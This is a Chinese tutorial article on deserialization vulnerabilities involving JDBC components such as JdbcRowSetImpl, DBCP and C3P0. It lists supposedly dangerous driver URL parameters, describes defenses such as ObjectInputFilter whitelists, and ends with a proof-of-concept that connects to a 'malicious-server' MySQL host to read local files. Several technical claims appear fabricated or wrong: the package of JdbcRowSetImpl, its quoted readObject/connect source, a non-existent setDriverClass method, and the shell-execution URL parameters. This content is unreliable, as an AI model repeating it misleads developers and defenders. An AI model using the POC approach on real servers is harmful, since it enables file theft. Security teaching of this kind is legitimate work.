Java JDBC 反序列化实战案例

 更新时间:2025年11月11日 10:23:55   作者:独角鲸网络安全实验室  
这篇文章主要介绍了Java JDBC 反序列化实战案例,本文结合实例代码给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友参考下吧

JDBC(Java Database Connectivity)是Java访问数据库的标准API,其核心定位是提供数据库连接、SQL执行、结果集处理的内存态操作接口——JDBC核心组件(DriverConnectionStatementResultSet)本身不设计序列化/反序列化能力,也不建议被持久化或跨网络传输。

但在实际开发中,基于JDBC的扩展组件(如RowSet、数据源实现)或自定义JDBC封装类,可能因实现Serializable接口、反序列化时执行危险操作(如加载恶意类、执行SQL注入、连接恶意数据库),导致反序列化漏洞。

一、核心前提:JDBC与序列化的本质关系

1. JDBC核心组件的设计初衷

JDBC核心API(java.sql.*包)的对象(如ConnectionStatementResultSet)是数据库连接的运行时句柄,依赖底层Socket连接和数据库会话状态,设计目标是“内存中临时使用”,不支持序列化(未实现Serializable接口)。

2. 风险来源:JDBC扩展组件的序列化支持

漏洞并非来自JDBC标准本身,而是来自基于JDBC的扩展组件——这些组件为了支持“数据持久化”或“跨进程传输”,实现了Serializable接口,但在反序列化过程中执行了危险逻辑:

  • JDK自带:javax.sql.rowset.JdbcRowSetImplCachedRowSetImplWebRowSetImpl(RowSet接口的实现,封装了JDBC连接逻辑);
  • 第三方数据源:Apache DBCP的BasicDataSource、C3P0的ComboPooledDataSource(序列化时存储了数据库连接配置);
  • ORM工具集成:Hibernate的PersistentBag、MyBatis的ResultMap(若封装了JDBC相关对象并支持序列化);
  • 自定义封装类:开发者自定义的JDBC工具类(如SerializableDBHelper),反序列化时执行数据库连接或SQL执行。

二、典型漏洞原理:以JdbcRowSetImpl为例

JdbcRowSetImpl是JDK自带的RowSet实现(javax.sql.rowset包),支持序列化,其反序列化漏洞是JDBC相关反序列化风险的典型代表,影响JDK 8u121之前的版本(后续JDK通过安全修复限制了危险操作)。

1. 漏洞触发链路

JdbcRowSetImpl的反序列化漏洞核心是:反序列化时自动执行数据库连接逻辑,且连接参数(URL、驱动类、用户名、密码)可被攻击者控制

关键流程拆解:

// 1. JdbcRowSetImpl实现Serializable接口,允许序列化/反序列化
public class JdbcRowSetImpl implements Serializable, JdbcRowSet { ... }
// 2. 反序列化时调用readObject()方法(默认或自定义)
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
    ois.defaultReadObject(); // 读取序列化的属性(url、user、password、driverClass等)
    internalInit(); // 初始化内部状态
    connect(); // 关键:反序列化时自动建立数据库连接
}
// 3. connect()方法的危险逻辑
private void connect() throws SQLException {
    if (driverClass != null) {
        Class.forName(driverClass); // 加载驱动类(若driverClass可控,可加载恶意类)
    }
    // 建立数据库连接(若URL可控,可利用JDBC驱动的危险参数执行命令)
    this.conn = DriverManager.getConnection(url, user, password);
}

2. 漏洞放大:JDBC驱动的危险特性

不同数据库的JDBC驱动支持一些“危险URL参数”,若攻击者控制JdbcRowSetImplurl属性,可通过这些参数执行恶意操作:

数据库危险URL参数危害
MySQLallowLoadLocalInfile=true读取本地文件(配合SQL注入)
MySQLlogOutput=FILE&logFile=/tmp/malicious.sh写入恶意文件
PostgreSQLoptions=-c 'shell command'执行系统命令(需数据库权限)
恶意驱动jdbc:malicious://...加载自定义恶意JDBC驱动,执行任意代码

3. 漏洞触发条件

  • 应用程序对不可信数据(如网络传输、文件上传、缓存、日志)执行反序列化;
  • 应用依赖JDK 8u121之前的版本(未修复该漏洞);
  • 攻击者可控制序列化数据中的JdbcRowSetImpl属性(urldriverClassuserpassword)。

三、其他JDBC相关反序列化风险点

1. 第三方数据源组件

  • Apache DBCP BasicDataSource:序列化时存储了urlusernamepassworddriverClassName等配置,反序列化时若参数被篡改,可能导致连接恶意数据库或泄露敏感信息;
  • C3P0 ComboPooledDataSource:同理,序列化的连接池配置可被篡改,反序列化时初始化恶意连接池。

2. ORM工具与JDBC的结合场景

  • Hibernate:若实体类包含Serializable的JDBC相关对象(如ResultSet封装类),且反序列化时触发懒加载,可能执行恶意SQL;
  • MyBatis:若ResultMap对应的实体类实现Serializable,且反序列化时触发@PostConstruct或自定义readObject中的JDBC操作,可能被利用。

3. 自定义JDBC封装类

开发者常自定义Serializable的JDBC工具类(如DBUtil),若存在以下情况,可能引入漏洞:

  • readObject方法中直接执行Class.forName(driverClass)(驱动类可控);
  • 反序列化时自动执行executeQuery(sql)(SQL语句可控,导致SQL注入);
  • 序列化数据中包含数据库密码,未加密导致泄露。

四、漏洞防御方案(核心:阻断危险反序列化链路)

JDBC相关反序列化漏洞的防御核心是:避免序列化JDBC相关对象、限制反序列化类范围、禁用危险功能、验证数据来源

1. 根本原则:禁止序列化JDBC相关对象

  • 不序列化RowSetDataSourceConnection等JDBC相关对象;
  • 若需跨进程传输数据库查询结果,使用DTO(数据传输对象) 封装纯数据(如UserDTO包含idname),而非直接序列化ResultSetRowSet
  • 替代方案:使用JSON、XML等安全序列化格式(如Jackson、Fastjson),而非Java原生序列化。

2. 限制反序列化的类范围(最有效)

使用反序列化过滤器,只允许信任的类进行反序列化,禁止危险类(如javax.sql.rowset.*、第三方数据源类):

  • Java 9+:使用ObjectInputFilter(JDK原生支持);
  • Java 8及以下:使用第三方库(如Apache Commons IO的ValidatingObjectInputStream、Google Guava的SerializationFilters)。

示例:Java 9+ ObjectInputFilter配置

// 仅允许com.example包下的类和Java基础类反序列化,禁止javax.sql.rowset.*
ObjectInputFilter filter = ObjectInputFilter.Config.createFilter(
    "com.example.*; java.base/*; !javax.sql.rowset.*; !org.apache.commons.dbcp.*"
);
ObjectInputStream ois = new ObjectInputStream(inputStream);
ois.setObjectInputFilter(filter); // 设置过滤器
Object obj = ois.readObject(); // 仅允许白名单类反序列化

3. 禁用JDBC驱动的危险功能

配置JDBC URL时,显式禁用危险参数:

  • MySQL:allowLoadLocalInfile=falselogOutput=NONE
  • PostgreSQL:避免使用options参数,或限制数据库用户权限(禁止执行shell命令);
  • 禁用不必要的JDBC驱动:仅加载应用所需的数据库驱动,避免加载恶意驱动(如通过DriverManager.deregisterDriver()移除无用驱动)。

4. 验证序列化数据的来源与完整性

  • 仅对可信来源(如内部服务、加密存储)的数据进行反序列化;
  • 对序列化数据进行签名或加密(如使用AES加密+RSA签名),反序列化前验证签名,防止数据被篡改。

5. 升级依赖组件

  • 升级JDK:至8u121+(修复JdbcRowSetImpl反序列化漏洞)或更高版本;
  • 升级JDBC驱动:使用官方最新版本,修复已知的URL参数注入、驱动类加载漏洞;
  • 升级数据源/ORM框架:如Apache DBCP 2.9.0+、C3P0 0.9.5.9+、Hibernate 5.6.14.Final+。

6. 避免自定义危险的readObject方法

若必须自定义Serializable类(如DTO),需满足:

  • readObject方法中不执行危险操作(类加载、数据库连接、SQL执行、命令调用);
  • 对反序列化的属性(如urldriverClass)进行严格校验(如正则匹配合法URL格式、白名单校验驱动类名)。

五、实战案例:JdbcRowSetImpl漏洞POC(仅供学习)

以下POC演示如何构造恶意JdbcRowSetImpl序列化数据,触发反序列化时的恶意数据库连接(需在JDK 8u121之前环境测试):

1. 构造恶意序列化数据

import javax.sql.rowset.JdbcRowSetImpl;
import java.io.*;
public class JdbcRowSetPoc {
    public static void main(String[] args) throws Exception {
        // 1. 构造恶意JdbcRowSetImpl对象(控制URL和驱动类)
        JdbcRowSetImpl rowSet = new JdbcRowSetImpl();
        rowSet.setUrl("jdbc:mysql://malicious-server:3306/test?allowLoadLocalInfile=true"); // 恶意URL
        rowSet.setDriverClass("com.mysql.cj.jdbc.Driver"); // 合法驱动(或恶意驱动类名)
        rowSet.setUsername("attacker");
        rowSet.setPassword("pass123");
        // 2. 序列化对象到字节流(攻击者可将该字节流注入目标应用)
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bos);
        oos.writeObject(rowSet);
        byte[] maliciousData = bos.toByteArray();
        // 3. 目标应用反序列化(模拟漏洞触发)
        ByteArrayInputStream bis = new ByteArrayInputStream(maliciousData);
        ObjectInputStream ois = new ObjectInputStream(bis);
        ois.readObject(); // 反序列化时触发connect(),连接恶意MySQL服务器
    }
}

2. 漏洞危害说明

  • driverClass设为恶意类(如com.attacker.MaliciousDriver),且该类可被目标应用加载(如通过类路径注入),则Class.forName(driverClass)会执行恶意类的静态代码块;
  • url包含MySQL的allowLoadLocalInfile=true,配合后续SQL注入,可读取目标服务器本地文件(如/etc/passwd);
  • 连接恶意数据库服务器,可能泄露应用的敏感信息(如用户名、密码、业务数据)。

六、总结:JDBC反序列化漏洞的核心认知

  1. 漏洞根源不是JDBC本身:JDBC标准API不支持序列化,风险来自“实现了Serializable的JDBC扩展组件”和“不当的序列化实践”;
  2. 触发核心是“反序列化+危险操作”:漏洞的关键是反序列化过程中自动执行数据库连接、类加载等危险逻辑,且输入参数可控;
  3. 防御核心是“最小权限+可信数据”:限制反序列化类范围、禁止序列化JDBC相关对象、禁用危险功能、验证数据来源,即可阻断绝大多数风险。

在实际开发中,应遵循“能不序列化则不序列化”的原则,若必须序列化,仅传输纯数据(DTO),而非包含业务逻辑(如数据库连接)的对象。同时,通过反序列化过滤器、组件升级、参数校验等手段,构建多层防御体系。

到此这篇关于Java JDBC 反序列化深度解析的文章就介绍到这了,更多相关Java JDBC 反序列化内容请搜索脚本之家以前的文章或继续浏览下面的相关文章希望大家以后多多支持脚本之家!

相关文章

  • reactor-logback的AsyncAppender执行流程源码解读

    reactor-logback的AsyncAppender执行流程源码解读

    这篇文章主要为大家介绍了reactor-logback的AsyncAppender执行流程源码解读,有需要的朋友可以借鉴参考下,希望能够有所帮助,祝大家多多进步,早日升职加薪
    2023-12-12
  • Mybatis-Plus打印sql日志两种方式

    Mybatis-Plus打印sql日志两种方式

    这篇文章主要给大家介绍了关于Mybatis-Plus打印sql日志两种方式,Mybatis-plus是MyBatis增强工具包,用于简化CRUD操作,文中通过示例代码介绍的非常详细,需要的朋友可以参考下
    2023-07-07
  • Spring Boot中使用Redis实战案例

    Spring Boot中使用Redis实战案例

    redis作为一个高性能的内存数据库,如果不会用就太落伍了,之前在 node.js中用过 redis,本篇记录如何将 redis 集成到 spring boot 中,下面这篇文章主要给大家介绍了关于Spring Boot中使用Redis的相关资料,需要的朋友可以参考下
    2023-04-04
  • 三分钟带你了解SpringBoot真正的启动引导类

    三分钟带你了解SpringBoot真正的启动引导类

    这篇文章主要介绍了三分钟带你了解SpringBoot真正的启动引导类,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧
    2020-11-11
  • Javadoc 具体使用详解

    Javadoc 具体使用详解

    这篇文章主要介绍了Javadoc 具体使用详解,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧
    2020-08-08
  • java中获取当前服务器的Ip地址的方法

    java中获取当前服务器的Ip地址的方法

    本篇文章主要介绍了java中获取当前服务器的Ip地址的方法,小编觉得挺不错的,现在分享给大家,也给大家做个参考。一起跟随小编过来看看吧
    2017-02-02
  • 一文带你玩转Java异常处理

    一文带你玩转Java异常处理

    这篇文章主要为大家介绍一下Java中的异常处理机制,文中通过示例为大家进行了详细的介绍,对我们学习有一定的帮助,感兴趣的可以了解一下
    2022-08-08
  • LIS 最长递增子序列 Java的简单实现

    LIS 最长递增子序列 Java的简单实现

    下面小编就为大家带来一篇LIS 最长递增子序列 Java的简单实现。小编觉得挺不错的,现在就分享给大家,也给大家做个参考。一起跟随小编过来看看吧
    2016-09-09
  • Java 深入分析链表面试实例题目

    Java 深入分析链表面试实例题目

    链表是一种物理存储单元上非连续、非顺序的存储结构,数据元素的逻辑顺序是通过链表中的指针链接次序实现的,本篇带你通过两个实例题目来深入探索
    2022-03-03
  • Spring Boot中使用Spring-Retry重试框架的实现

    Spring Boot中使用Spring-Retry重试框架的实现

    本文主要介绍了Spring Boot中使用Spring-Retry重试框架的实现,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧
    2022-04-04

最新评论